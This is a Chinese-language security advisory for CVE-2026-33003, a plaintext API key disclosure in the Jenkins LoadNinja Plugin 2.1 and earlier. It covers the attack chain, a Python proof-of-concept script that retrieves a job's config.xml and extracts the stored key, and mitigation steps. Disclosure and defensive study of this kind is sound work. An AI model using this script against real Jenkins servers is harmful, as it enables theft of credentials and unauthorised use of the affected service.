IPBUF安全漏洞报告
English
CVE-2026-33003 CVSS 4.3 中危

CVE-2026-33003 Jenkins LoadNinja Plugin敏感信息泄露漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-33003
漏洞类型
敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins LoadNinja Plugin

相关标签

敏感信息泄露不安全存储Jenkins插件漏洞API密钥泄露CVE-2026-33003LoadNinja Plugin配置注入

漏洞概述

Jenkins LoadNinja Plugin 2.1及更早版本存在敏感信息泄露漏洞。该插件在执行负载测试任务时,将LoadNinja API密钥以明文形式存储在job config.xml配置文件中。由于配置文件存储在Jenkins控制器本地文件系统上,具有Item/Extended Read权限的用户或能够访问Jenkins控制器文件系统的攻击者可以直接读取这些未加密的API密钥。攻击者获取API密钥后,可以冒充合法用户访问LoadNinja平台,执行未经授权的负载测试操作,可能导致额外的服务费用、测试数据泄露或对目标系统造成额外负载压力。此漏洞影响Jenkins插件安全模型,违反了敏感凭据应加密存储的安全最佳实践。

技术细节

Jenkins LoadNinja Plugin在保存任务配置时,将用户提供的LoadNinja API密钥直接写入job config.xml文件,未进行任何加密处理。config.xml文件默认存储在Jenkins主目录的jobs/[job_name]/config.xml路径下。漏洞根源在于插件使用了不安全的配置持久化机制,直接将明文凭据写入XML配置节点。当具有Item/Extended Read权限的用户通过Jenkins API或Web界面访问任务配置时,API密钥会以明文形式返回。攻击者可通过以下方式利用:1) 使用具有Extended Read权限的账户通过Jenkins REST API获取config.xml;2) 直接访问Jenkins控制器文件系统读取config.xml文件;3) 利用Jenkins CLI工具导出任务配置。获取API密钥后,攻击者可将其用于直接调用LoadNinja API,执行负载测试脚本、获取测试结果等操作。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标Jenkins服务器上使用LoadNinja Plugin的任务,通过扫描或社会工程学获取任务名称
STEP 2
2. 权限获取
攻击者获取Jenkins账户,该账户需具备目标任务的Item/Extended Read权限,或获取Jenkins控制器文件系统的访问权限
STEP 3
3. 配置获取
攻击者通过Jenkins REST API访问job config.xml(GET /job/[job_name]/config.xml)或直接读取文件系统中的配置文件
STEP 4
4. 密钥提取
攻击者解析config.xml文件,提取明文存储的LoadNinja API密钥
STEP 5
5. 密钥滥用
攻击者使用获取的API密钥调用LoadNinja API,执行未授权的负载测试、获取测试数据或造成额外费用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-33003 PoC - Jenkins LoadNinja Plugin API Key Disclosure # Target: Jenkins instance with LoadNinja Plugin <= 2.1 # Requirement: Item/Extended Read permission on the job import requests from xml.etree import ElementTree as ET import argparse def extract_api_key(jenkins_url, job_name, auth_token=None): """ Extract LoadNinja API key from Jenkins job config.xml """ config_url = f"{jenkins_url}/job/{job_name}/config.xml" headers = {'Accept': 'application/xml'} # Make request to get config.xml if auth_token: response = requests.get(config_url, headers=headers, auth=auth_token) else: response = requests.get(config_url, headers=headers) if response.status_code == 200: # Parse XML to find LoadNinja API key root = ET.fromstring(response.content) # Common namespace patterns for Jenkins plugins namespaces = { 'jenkins': 'http://hudson Hudson.org/PLUGIN/1.0', '': '' } # Search for loadninja related elements for elem in root.iter(): if 'loadninja' in elem.tag.lower() or 'apiKey' in elem.tag.lower(): print(f"Found: {elem.tag} = {elem.text}") # Alternative: Direct string search content = response.text.lower() if 'loadninja' in content and 'apikey' in content: print("\n[!] LoadNinja API key may be present in configuration") # Extract the API key value import re api_key_pattern = r'<loadninjaApiKey>([^<]+)</loadninjaApiKey>' matches = re.findall(api_key_pattern, response.text) for key in matches: print(f"[+] API Key Found: {key}") return key else: print(f"[-] Failed to access config.xml: HTTP {response.status_code}") return None def main(): parser = argparse.ArgumentParser(description='CVE-2026-33003 PoC') parser.add_argument('--url', required=True, help='Jenkins URL') parser.add_argument('--job', required=True, help='Job name with LoadNinja plugin') parser.add_argument('--user', help='Username for auth') parser.add_argument('--pass', dest='password', help='Password or API token') args = parser.parse_args() auth = None if args.user and args.password: auth = (args.user, args.password) print(f"[*] Extracting LoadNinja API key from {args.url}/job/{args.job}/") api_key = extract_api_key(args.url, args.job, auth) if api_key: print(f"\n[+] Successfully extracted API key: {api_key}") print("[*] This key can be used to access LoadNinja API") else: print("[-] No API key found or access denied") if __name__ == '__main__': main() # Usage: # python cve-2026-33003-poc.py --url http://jenkins.example.com --job my-load-test --user admin --pass API_TOKEN

影响范围

Jenkins LoadNinja Plugin <= 2.1

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 审查所有使用LoadNinja Plugin的任务,撤销并重新生成受影响的API密钥;2) 限制Jenkins用户权限,移除不必要的Extended Read权限;3) 限制对Jenkins控制器文件系统的访问,仅允许管理员账户访问;4) 监控Jenkins访问日志,关注异常的config.xml访问行为;5) 考虑暂时禁用LoadNinja Plugin直至完成安全更新;6) 实施网络隔离,确保Jenkins服务器的网络访问受到严格控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表